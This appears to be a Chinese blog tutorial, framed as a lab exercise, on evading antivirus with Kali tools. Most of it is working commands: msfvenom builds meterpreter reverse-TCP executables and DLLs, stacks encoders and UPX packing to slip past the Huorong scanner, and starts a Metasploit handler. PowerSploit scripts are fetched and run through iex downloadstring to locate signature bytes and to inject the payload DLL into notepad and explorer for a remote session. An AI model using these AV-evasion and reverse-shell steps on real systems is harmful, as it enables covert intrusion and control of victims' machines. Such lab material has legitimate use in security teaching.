Kali 远程控制

目录

 远程控制被控端与杀毒软件的博弈

1、杀毒软件主要使用以下3种技术:

1)基于文件扫描的反病毒技术

2)基本内存扫描的反病毒技术

3)基于行为监控的反病毒技术

2、黑客主要使用的免杀手段:

  1)修改特征码

  2)添加花指令

  3)程序加密(加壳)

一、 msfvenom提供的免杀方法

步骤一:生成一个普通的payload 

步骤二  :到安装了火绒杀毒软件的虚拟机下载攻击载荷。

步骤三:生成一个免杀的payload

步骤四:到安装了火绒杀毒软件的虚拟机下载攻击载荷。

步骤五:对上述生成的免杀payload加壳

步骤六:到安装了火绒杀毒软件的虚拟机下载攻击载荷。

步骤七:测试payload.exe、payload02.exe和payload03.exe能不能正常连接到主控端

二、PowerSploit提供的免杀方法

步骤一:在kali中启动PowerSploit

步骤二:将PowerSploit目录当作一个网站发布

步骤三:在靶机(或其它虚拟机)中访问PowerSploit

步骤四:PowerSploit功能一:检测被控端的特征码(使用AntivirusBypass)

步骤五:PowerSploit功能二:实现将DLL注入进程(使用CodeExecution)


 远程控制被控端与杀毒软件的博弈

1、杀毒软件主要使用以下3种技术:
1)基于文件扫描的反病毒技术
2)基本内存扫描的反病毒技术
3)基于行为监控的反病毒技术
2、黑客主要使用的免杀手段:
  1)修改特征码
  2)添加花指令
  3)程序加密(加壳)

1、基于文件扫描的反病毒技术。这种技术主要依靠对程序的二进制代码进行检测,反病毒工程师将病毒样本中的一段特有的二进制代码串提取出来作为特征码,并将其加入病毒库,以后检测程序时看它是否包含这个特征码。

2、基于内存扫描的反病毒技术。有的病毒程序可能通过各种手段躲过文件扫描,但是想要达到目的,它就需要运行。程序在运行后会将自身释放到内存中,释放后的文件结构与未执行的文件相比有较大的差异。因此杀毒软件使用一套针对内存的特征码。

3、基于行为监控的反病毒技术。以上两种技术只能查杀已知病毒,对病毒库中不包含的病毒基本没有办法。而基于行为监控的反病毒技术则会监控程序的行为,如果它在执行后会进行-些非正规的、可疑的操作,例如修改系统的注册表的重要部分,则会被视作病毒而被查杀。


一、 msfvenom提供的免杀方法

msfvenom针对这种扫描方式提供了一种混淆编码的解决方案。msf编码器可以将原可执行程序重新编码,生成一个新的二进制文件,这个文件运行以后,msf编码器会将原始程序解码到内存中并执行。这样就可以在不影响程序执行的前提下,躲避杀毒软件的特征码查杀。

步骤一:生成一个普通的payload 

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.112.133 lport=5000 -f exe -o /var/www/html/payload1.exe

ls /var/www/html

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.112.133 lport=5000 -f exe -o /var/www/html/payload1.exe
ls /var/www/html


步骤二  :到安装了火绒杀毒软件的虚拟机下载攻击载荷。

(下载被控端,火绒杀毒软件是否弹出警告?)

http://192/168.112.133/payload1.exe

http://192/168.112.133/payload1.exe


步骤三:生成一个免杀的payload

1、 查看msfvenom中可用的编码方式

     msfvenom -l encoders      

  msfvenom -l encoders   

2、 使用评级为low的编码方式/x86/nonalpha生成一个免杀的payload

(执行2次,2次生成的Shellcode相同吗?)

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.112.133 lport=5000 -e x86/nonalpha -f c

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.112.133 lport=5000 -e x86/nonalpha -f c

执行第1次(采用默认的1次编码):

执行第2次(采用默认的1次编码):

3、使用评级为excellent的编码方式生成一个免杀的payload

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.112.133 lport=5000 -e x86/shikata_ga_nai -f c

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.112.133 lport=5000 -e x86/shikata_ga_nai -f c

  执行第1次(采用默认的1次编码):

执行第2次(采用默认的1次编码):

(结果:执行2次,2次生成的Shellcode相同吗?)

执行第3次(使用多次编码、多重编码):

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.112.133 lport=5000 -e x86/shikata_ga_nai -i 10 -f c

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.112.133 lport=5000 -e x86/shikata_ga_nai -i 10 -f c

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.112.133 lport=5000 -e x86/shikata_ga_nai -i 10 -f raw | msfvenom -e x86/alpha_upper -a x86 --platform windows -i 5 -f raw | msfvenom -e x86/countdown -a x86 --platform windows -i 10 -f exe -o /var/www/payload2.exe    

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.112.133 lport=5000 -e x86/shikata_ga_nai -i 10 -f raw | msfvenom -e x86/alpha_upper -a x86 --platform windows -i 5 -f raw | msfvenom -e x86/countdown -a x86 --platform windows -i 10 -f exe -o /var/www/payload2.exe    


步骤四:到安装了火绒杀毒软件的虚拟机下载攻击载荷。

(下载被控端,火绒杀毒软件是否弹出警告?)

http://192.168.112.133/payload2.exe

http://192.168.112.133/payload2.exe


步骤五:对上述生成的免杀payload加壳

1、对payload02.exe加壳
upx /var/www/html/ayload3.exe

upx /var/www/html/ayload3.exe

2、将payload02.exe复制为payload03exe

mv /var/html/payload2.exe /var/www/html
cp /var/html/payload2.exe /var/www/html/payload3.exe
upx /var/www/html/ayload3.exe


步骤六:到安装了火绒杀毒软件的虚拟机下载攻击载荷。

(下载被控端,火绒杀毒软件是否弹出警告?)

http://192.168.112.133/payload3.exe

http://192.168.112.133/payload3.exe


步骤七:测试payload.exe、payload02.exe和payload03.exe能不能正常连接到主控端

1、启动metasploit,进入metasploit(msf)的控制台。

msfconsole

msfconsole

2、使用handler模块,然后配置参数,发起攻击。

(1)使用handler模块

use exploit/multi/handler

(2)设置攻击载荷为windows/meterpreter/reverse_tcp

set payload windows/x64/meterpreter/reverse_tcp

(3)设置lhost为kali的IP

set lhost 192.168.112.133

(4)设置lpost为5000

set lport 5000

(5)发起攻击

run

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.112.133
set lport 5000
run

(6)目标靶机分别运行payload02.exe和payload03.exe后,kali是否建立会话?


二、PowerSploit提供的免杀方法

步骤一:在kali中启动PowerSploit

方法一:菜单

方法二:命令行


步骤二:将PowerSploit目录当作一个网站发布

python3 -m http.server 8888

python3 -m http.server 8888


步骤三:在靶机(或其它虚拟机)中访问PowerSploit

1、在地址栏输入kali的IP

2、是否能打开由python启动的http服务?


步骤四:PowerSploit功能一:检测被控端的特征码(使用AntivirusBypass)

方法:将程序拆分成n个部分,分别使用杀毒软件对这n个文件进行检查;找出报毒部分反复执行拆分操作,直到发现特征码所在位置。

1、启动PowerSploit的方法:开始/搜索程序和文件(输入:PowerShell,选择Windows PowerShell)

(结果截图!)

2、下载脚本文件Find-AVSignature.psl:

输入命令:

iex(new-object net.webclient).downloadstring("http://192.168.112.133:8888/AntivirusBypass/Find-AVSignature.ps1”)

iex(new-object net.webclient).downloadstring("http://192.168.112.133:8888/AntivirusBypass/Find-AVSignature.ps1”)

注:需要在括号中输入脚本所在目录!

(结果截图!)

3、使用脚本文件Find-AVSignature.psl查找攻击载荷的特征码

(1)使用脚本文件Find-AVSignature.psl将测试文件(位于桌面的payload.exe)分解成多个小文件,保存到桌面的tmp文件夹中:

find-avsignature -startbyte 0 -endbyte 20000 -interval 10000 -path C:\Users\Administrator\Desktop\payload1.exe -outpath C:\Users\Administrator\Desktop\tmp

find-avsignature -startbyte 0 -endbyte 20000 -interval 10000 -path C:\Users\Administrator\Desktop\payload1.exe -outpath C:\Users\Administrator\Desktop\tmp

注:先退出火绒!

结果:生成几个小文件。

(2)选中所有文件,使用火绒进行杀毒,找到报毒的文件是哪些?

(3)对报毒的文件重复上述分解、查毒过程,直到找到特征码所在的位置。

注:每深入一次分解,分解小文件的大小要逐级降低,如改为:-interval 1000、-interval 100。

find-avsignature -startbyte 0 -endbyte 20000 -interval 1000 -path c:\Users\Administrator\top\payload1.exe -outpath c:\Users\Administrator\Desktop\tmp

find-avsignature -startbyte 0 -endbyte 20000 -interval 1000 -path c:\Users\Administrator\top\payload1.exe -outpath c:\Users\Administrator\Desktop\tmp

find-avsignature -startbyte 0 -endbyte 20000 -interval 100 -path c:\Users\Administrator\top\payload1.exe -outpath c:\Users\Administrator\Desktop\tmp

find-avsignature -startbyte 0 -endbyte 20000 -interval 100 -path c:\Users\Administrator\top\payload1.exe -outpath c:\Users\Administrator\Desktop\tmp


步骤五:PowerSploit功能二:实现将DLL注入进程(使用CodeExecution

提供了4个脚本:

Invoke-DllInjection.psl:用于将DLL文件注入到一个进程。

Invoke-ReflectivePEInjection.psl

Invoke-Shellcode.psl

Invoke-WmiCommand.psl。

例:生成一个DLL类型的反向被控端,注入进程。

1、生成一个DLL类型的反向被控端

(1)查看可用于windows系统的dll类型的反向控制攻击载荷

由于目标靶机是64位系统,所以需要使用64位的攻击载荷来生成dll。

msfvenom -l payload | grep windows | grep all

msfvenom -l payload | grep windows | grep all

(2)生成dll文件payload01.dll

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.112.133 lport=5000 -f dll -o /var/www/html/payload1.dll

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.112.133 lport=5000 -f dll -o /var/www/html/payload1.dll

2、生成对应的主控端

(1)启动metasploit,进入metasploit(msf)的控制台。

msfconsole

msfconsole

(2)使用handler模块,然后配置参数。

I:使用handler模块

use exploit/multi/handler

II:设置攻击载荷为windows/x64/meterpreter/reverse_tcp

set payload windows/x64/meterpreter/reverse_tcp

III:设置lhost为kali的IP

set lhost 192.168.112.133

IV:设置lpost为5000

set lport 5000

V:发起攻击(等待目标靶机64位win7上线)

run

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.112.133
set lport 5000
run

3、在64位win7系统中下载payload01.dll

(1)在64位win7中下载脚本Invoke-DllInjection.ps1

iex(new-object net.webclient).downloadstring("http://192.168.112.133:8888/CodeExecution/Invoke-DIIInjection.ps1”)

iex(new-object net.webclient).downloadstring("http://192.168.112.133:8888/CodeExecution/Invoke-DIIInjection.ps1”)

(2)下载payload01.dll到桌面。

注:先退出火绒,再下载。否则会被火绒清除。

下载是否成功?

4、将payload01.dll注入到进程中

(1)调出进程编号选项

(2)注入到“记事本”进程中

I:启动记事本,看到记事本进程及其PID是多少?

Invoke-DIIInjection -ProcessID 2924

Invoke-DIIInjection -ProcessID 2924

II:注入进程:

完成注入!

Invoke-DIIInjection -ProcessID 2924 -dll c:\Users\Administrator\Desktop\payload1.dll

Invoke-DIIInjection -ProcessID 2924 -dll c:\Users\Administrator\Desktop\payload1.dll

5、实现远程控制

(1)kali中是否建立会话?

(2)执行一些命令:查看当前进程号、用户id、当前目录、列现当前目录下所有文件等。

getpid
pwd
ls

getpid
pwd
ls

注意:程序被注入后,可能会出现工作异常的情况,所以不要注入到系统进程里,否则会引起程序崩溃。记事本是否已经崩溃?会话还在吗?

(3)靶机中查看到这个kali建立的会话进程

background
sessions
sessions 1
getpid

background
sessions
sessions 1
getpid

6、在靶机中结束kali建立的会话进程,kali打开的会话是否关闭?

(1)在靶机中结束kali建立的会话进程

 

(2)Kali中打开的会话是否关闭?

7、这次生成的是64位的攻击载荷,对64位的进程有效,那么对32位的进程有否有效?

请尝试注入32位的进程!

8、注入到资源管理器。

(1)查看资源管理器的进程PID号

(2)执行注入命令

查看到kali是否建立会话?

(3)查看到64位win7系统的资源管理器是否崩溃?


  • 23
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

-覃玲秀

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值